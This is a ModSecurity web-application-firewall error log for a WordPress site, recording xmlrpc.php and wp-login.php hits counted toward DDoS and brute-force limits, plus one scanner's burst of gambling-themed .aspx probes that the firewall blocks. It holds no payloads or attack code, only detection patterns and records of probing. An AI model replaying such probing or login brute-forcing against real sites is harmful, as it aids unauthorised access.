[Tue Apr 21 16:44:20.366426 2026] [:error] [pid 53731:tid 53739] [client 122.163.129.141:55675] [client 122.163.129.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.163.129.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aec45F2I9THUR-bRVGzqGAAAAgQ"]
[Tue Apr 21 16:44:31.090322 2026] [:error] [pid 53731:tid 53738] [client 122.163.129.141:55921] [client 122.163.129.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.163.129.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aec4712I9THUR-bRVGzqRQAAAgM"]
[Tue Apr 21 16:47:32.733695 2026] [:error] [pid 35320:tid 35343] [client 206.189.64.23:50864] [client 206.189.64.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.64.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aec5pIJW6fdXWO6agMFHAAAAAA0"]
[Tue Apr 21 16:47:34.761016 2026] [:error] [pid 35321:tid 35385] [client 206.189.64.23:51729] [client 206.189.64.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.64.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aec5pjeHLhVUuu8cVXzlLgAAAEE"]
[Tue Apr 21 17:16:46.004160 2026] [:error] [pid 35320:tid 35334] [client 41.59.43.78:59924] [client 41.59.43.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.43.78, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedAfoJW6fdXWO6agMFQHQAAAAQ"]
[Tue Apr 21 17:16:56.647312 2026] [:error] [pid 53731:tid 53752] [client 41.59.43.78:60277] [client 41.59.43.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.43.78, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedAiF2I9THUR-bRVGwEUwAAAhA"]
[Tue Apr 21 17:17:09.582897 2026] [:error] [pid 53978:tid 54002] [client 41.59.43.78:60669] [client 41.59.43.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.43.78, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedAlZ1ivsR4hcOSQbbWDAAAApY"]
[Tue Apr 21 17:17:19.722437 2026] [:error] [pid 35321:tid 35394] [client 41.59.43.78:60932] [client 41.59.43.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.43.78, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedAnzeHLhVUuu8cVXz0IwAAAEo"]
[Tue Apr 21 17:17:30.212915 2026] [:error] [pid 54080:tid 54103] [client 41.59.43.78:61184] [client 41.59.43.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.43.78, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedAqozEbQHHxtmWbaaCUwAAAtU"]
[Tue Apr 21 17:37:05.055876 2026] [:error] [pid 53832:tid 53858] [client 185.194.178.42:47363] [client 185.194.178.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aedFQdzkuxsE_OhM9UJJhQAAAlc"]
[Tue Apr 21 17:48:01.957018 2026] [:error] [pid 53731:tid 53744] [client 88.88.156.124:59254] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aedH0V2I9THUR-bRVGwckAAAAgk"]
[Tue Apr 21 17:48:03.905013 2026] [:error] [pid 35320:tid 35340] [client 88.88.156.124:58704] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aedH04JW6fdXWO6agMFeRAAAAAo"]
[Tue Apr 21 17:48:05.930139 2026] [:error] [pid 4777:tid 4798] [client 88.88.156.124:58720] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aedH1axXur6bykKyLZSXiQAAAQo"]
[Tue Apr 21 17:48:07.939614 2026] [:error] [pid 35320:tid 35339] [client 88.88.156.124:56068] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aedH14JW6fdXWO6agMFeUgAAAAk"]
[Tue Apr 21 17:48:09.949519 2026] [:error] [pid 4823:tid 4863] [client 88.88.156.124:56082] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aedH2fc8mke3PfHqsxHkZQAAAYo"]
[Tue Apr 21 17:48:11.967612 2026] [:error] [pid 54080:tid 54097] [client 88.88.156.124:56090] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aedH24zEbQHHxtmWbaaK-AAAAs8"]
[Tue Apr 21 17:48:13.839661 2026] [:error] [pid 35321:tid 35386] [client 88.88.156.124:56096] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aedH3TeHLhVUuu8cVXwIHgAAAEI"]
[Tue Apr 21 17:48:15.861364 2026] [:error] [pid 35321:tid 35400] [client 88.88.156.124:56108] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aedH3zeHLhVUuu8cVXwIJwAAAFA"]
[Tue Apr 21 17:48:17.859595 2026] [:error] [pid 35321:tid 35384] [client 88.88.156.124:51226] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aedH4TeHLhVUuu8cVXwINwAAAEA"]
[Tue Apr 21 17:48:19.874201 2026] [:error] [pid 4777:tid 4789] [client 88.88.156.124:51240] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aedH46xXur6bykKyLZSXjgAAAQE"]
[Tue Apr 21 17:48:21.739205 2026] [:error] [pid 35321:tid 35388] [client 88.88.156.124:51256] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aedH5TeHLhVUuu8cVXwIRAAAAEQ"]
[Tue Apr 21 17:48:23.776605 2026] [:error] [pid 35320:tid 35343] [client 88.88.156.124:51264] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aedH54JW6fdXWO6agMFenAAAAA0"]
[Tue Apr 21 17:48:25.825231 2026] [:error] [pid 35321:tid 35395] [client 88.88.156.124:51278] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aedH6TeHLhVUuu8cVXwIVAAAAEs"]
[Tue Apr 21 17:48:27.850246 2026] [:error] [pid 35321:tid 35398] [client 88.88.156.124:35564] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aedH6zeHLhVUuu8cVXwIWQAAAE4"]
[Tue Apr 21 17:48:29.897150 2026] [:error] [pid 53978:tid 53986] [client 88.88.156.124:35580] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aedH7Z1ivsR4hcOSQbbnfAAAAoY"]
[Tue Apr 21 17:48:31.921829 2026] [:error] [pid 4823:tid 4864] [client 88.88.156.124:35592] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aedH7_c8mke3PfHqsxHkaQAAAYs"]
[Tue Apr 21 17:48:33.948545 2026] [:error] [pid 53731:tid 53744] [client 88.88.156.124:35600] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aedH8V2I9THUR-bRVGwczAAAAgk"]
[Tue Apr 21 17:48:35.840928 2026] [:error] [pid 54080:tid 54106] [client 88.88.156.124:35614] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aedH84zEbQHHxtmWbaaLKgAAAtg"]
[Tue Apr 21 17:48:37.880222 2026] [:error] [pid 35320:tid 35347] [client 88.88.156.124:34796] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aedH9YJW6fdXWO6agMFe0wAAABE"]
[Tue Apr 21 17:48:39.892925 2026] [:error] [pid 35321:tid 35396] [client 88.88.156.124:34808] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aedH9zeHLhVUuu8cVXwIbwAAAEw"]
[Tue Apr 21 17:48:41.929800 2026] [:error] [pid 4823:tid 4863] [client 88.88.156.124:34822] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aedH-fc8mke3PfHqsxHkcQAAAYo"]
[Tue Apr 21 17:48:43.978134 2026] [:error] [pid 35321:tid 35390] [client 88.88.156.124:34838] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aedH-zeHLhVUuu8cVXwIgAAAAEY"]
[Tue Apr 21 17:48:45.855592 2026] [:error] [pid 53978:tid 54004] [client 88.88.156.124:34850] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aedH_Z1ivsR4hcOSQbbniwAAApg"]
[Tue Apr 21 17:48:47.904026 2026] [:error] [pid 53978:tid 54003] [client 88.88.156.124:37440] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aedH_51ivsR4hcOSQbbnkwAAApc"]
[Tue Apr 21 17:48:49.806884 2026] [:error] [pid 35321:tid 35399] [client 88.88.156.124:37452] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aedIATeHLhVUuu8cVXwImwAAAE8"]
[Tue Apr 21 17:48:51.846540 2026] [:error] [pid 54080:tid 54091] [client 88.88.156.124:37456] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aedIA4zEbQHHxtmWbaaLQAAAAsk"]
[Tue Apr 21 17:48:53.916320 2026] [:error] [pid 35321:tid 35390] [client 88.88.156.124:37472] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aedIBTeHLhVUuu8cVXwIsAAAAEY"]
[Tue Apr 21 17:48:55.975673 2026] [:error] [pid 35320:tid 35340] [client 88.88.156.124:37482] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aedIB4JW6fdXWO6agMFfAAAAAAo"]
[Tue Apr 21 17:49:36.235705 2026] [:error] [pid 54080:tid 54090] [client 88.88.156.124:47692] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aedIMIzEbQHHxtmWbaaLfAAAAsg"]
[Tue Apr 21 17:49:38.128779 2026] [:error] [pid 35320:tid 35338] [client 88.88.156.124:49182] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aedIMoJW6fdXWO6agMFfdQAAAAg"]
[Tue Apr 21 17:49:40.162188 2026] [:error] [pid 35320:tid 35340] [client 88.88.156.124:49190] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aedINIJW6fdXWO6agMFfhgAAAAo"]
[Tue Apr 21 17:49:42.206003 2026] [:error] [pid 35321:tid 35391] [client 88.88.156.124:49200] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aedINjeHLhVUuu8cVXwJmgAAAEc"]
[Tue Apr 21 17:49:44.254030 2026] [:error] [pid 53978:tid 53990] [client 88.88.156.124:49214] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aedIOJ1ivsR4hcOSQbbnzQAAAoo"]
[Tue Apr 21 17:49:46.274668 2026] [:error] [pid 54080:tid 54105] [client 88.88.156.124:35918] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aedIOozEbQHHxtmWbaaLhwAAAtc"]
[Tue Apr 21 17:49:48.316767 2026] [:error] [pid 54080:tid 54102] [client 88.88.156.124:35926] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aedIPIzEbQHHxtmWbaaLlwAAAtQ"]
[Tue Apr 21 17:49:50.358281 2026] [:error] [pid 35321:tid 35387] [client 88.88.156.124:35928] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aedIPjeHLhVUuu8cVXwJvwAAAEM"]
[Tue Apr 21 17:49:52.255875 2026] [:error] [pid 35320:tid 35340] [client 88.88.156.124:35944] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aedIQIJW6fdXWO6agMFfogAAAAo"]
[Tue Apr 21 17:49:54.297724 2026] [:error] [pid 35321:tid 35388] [client 88.88.156.124:35946] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aedIQjeHLhVUuu8cVXwJ2wAAAEQ"]
[Tue Apr 21 18:02:15.326981 2026] [:error] [pid 53978:tid 53986] [client 5.135.142.201:42106] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.142.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedLJ51ivsR4hcOSQbbsdQAAAoY"]
[Tue Apr 21 18:42:49.355332 2026] [:error] [pid 53978:tid 53980] [client 104.37.191.206:40502] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.191.206, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedUqZ1ivsR4hcOSQbb4XQAAAoA"]
[Tue Apr 21 19:29:33.357443 2026] [:error] [pid 35321:tid 35405] [client 134.199.226.73:54164] [client 134.199.226.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.226.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aedfnTeHLhVUuu8cVXxZ3AAAAFU"]
[Tue Apr 21 19:29:35.406682 2026] [:error] [pid 35320:tid 35342] [client 134.199.226.73:56304] [client 134.199.226.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.226.73, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aedfn4JW6fdXWO6agMGUZAAAAAw"]
[Tue Apr 21 19:46:01.965826 2026] [:error] [pid 35320:tid 35340] [client 66.167.147.141:27333] [client 66.167.147.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.167.147.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedjeYJW6fdXWO6agMGa_AAAAAo"]
[Tue Apr 21 19:46:12.247328 2026] [:error] [pid 54080:tid 54088] [client 66.167.147.141:27948] [client 66.167.147.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.167.147.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedjhIzEbQHHxtmWbaanLgAAAsY"]
[Tue Apr 21 19:46:23.038159 2026] [:error] [pid 54080:tid 54085] [client 66.167.147.141:28546] [client 66.167.147.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.167.147.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedjj4zEbQHHxtmWbaanMAAAAsM"]
[Tue Apr 21 19:46:33.607544 2026] [:error] [pid 53731:tid 53759] [client 66.167.147.141:27397] [client 66.167.147.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.167.147.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aedjmV2I9THUR-bRVGxJcAAAAhc"]
